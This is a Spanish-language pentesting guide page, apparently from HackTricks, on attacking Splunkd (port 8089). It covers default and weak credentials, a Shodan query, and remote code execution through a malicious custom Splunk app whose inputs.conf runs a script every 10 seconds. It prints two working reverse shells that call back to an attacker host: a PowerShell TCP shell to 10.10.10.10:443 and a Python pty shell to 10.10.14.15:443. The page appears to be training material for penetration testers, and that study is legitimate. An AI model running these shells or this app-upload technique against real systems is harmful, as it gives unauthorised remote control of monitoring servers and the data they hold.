# 8089 - Pentesting Splunkd {{#include ../banners/hacktricks-training.md}} ## **Información Básica** - Herramienta de análisis de registros utilizada para la recopilación, análisis y visualización de datos - Comúnmente utilizada en monitoreo de seguridad y análisis de negocios - Puertos predeterminados: - Servidor web: 8000 - Servicio Splunkd: 8089 ### Vectores de Vulnerabilidad: 1. Explotación de la Versión Gratuita - La versión de prueba se convierte automáticamente en versión gratuita después de 60 días - La versión gratuita carece de autenticación - Riesgo de seguridad potencial si se deja sin gestionar - Los administradores pueden pasar por alto las implicaciones de seguridad 2. Debilidades de Credenciales - Versiones más antiguas: Credenciales predeterminadas `admin:changeme` - Versiones más nuevas: Credenciales establecidas durante la instalación - Potencial para el uso de contraseñas débiles (por ejemplo, `admin`, `Welcome`, `Password123`) 3. Oportunidades de Ejecución Remota de Código - Múltiples métodos de ejecución de código: - Aplicaciones Django del lado del servidor - Puntos finales REST - Entradas scriptadas - Scripts de alerta - Soporte multiplataforma (Windows/Linux) - Las entradas scriptadas pueden ejecutar: - Scripts Bash - Scripts de PowerShell - Scripts por lotes Potencial Clave de Explotación: - Almacenamiento de datos sensibles - Falta de autenticación en la versión gratuita - Múltiples vectores para potencial ejecución remota de código - Posibilidad de aprovechar entradas scriptadas para comprometer el sistema ### Shodan - `Splunk build` ## RCE ### Crear Aplicación Personalizada Splunk ofrece un método sofisticado para la ejecución remota de código a través del despliegue de aplicaciones personalizadas, aprovechando sus capacidades de scripting multiplataforma. La técnica de explotación central gira en torno a la creación de una aplicación maliciosa que puede ejecutar shells inversos en sistemas tanto Windows como Linux. Una aplicación personalizada puede ejecutar **scripts de Python, Batch, Bash o PowerShell**. Además, **Splunk viene con Python instalado**, por lo que incluso en sistemas **Windows** podrás ejecutar código python. Puedes usar [**este**](https://github.com/0xjpuff/reverse_shell_splunk) ejemplo con el **`bin`** que contiene un ejemplo para [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) y [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). O podrías crear el tuyo propio. El proceso de explotación sigue una metodología consistente a través de plataformas: ``` splunk_shell/ ├── bin (reverse shell scripts) └── default (inputs.conf configuration) ``` El archivo de configuración crítico `inputs.conf` habilita el script mediante: - Estableciendo `disabled = 0` - Configurando un intervalo de ejecución de 10 segundos - Definiendo el tipo de fuente del script El despliegue es sencillo: 1. Crear el paquete de aplicación maliciosa 2. Configurar un listener (Netcat/socat) en la máquina atacante 3. Subir la aplicación a través de la interfaz de Splunk 4. Activar la ejecución automática del script al subir Ejemplo de shell reversa de Windows PowerShell: ```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close() ``` Ejemplo de shell inverso de Python en Linux: ```python import sys, socket, os, pty ip = "10.10.14.15" port = "443" s = socket.socket() s.connect((ip, int(port))) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn('/bin/bash') ``` ### RCE y Escalación de Privilegios En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia: {{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}} ## Referencias - [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213) {{#include ../banners/hacktricks-training.md}}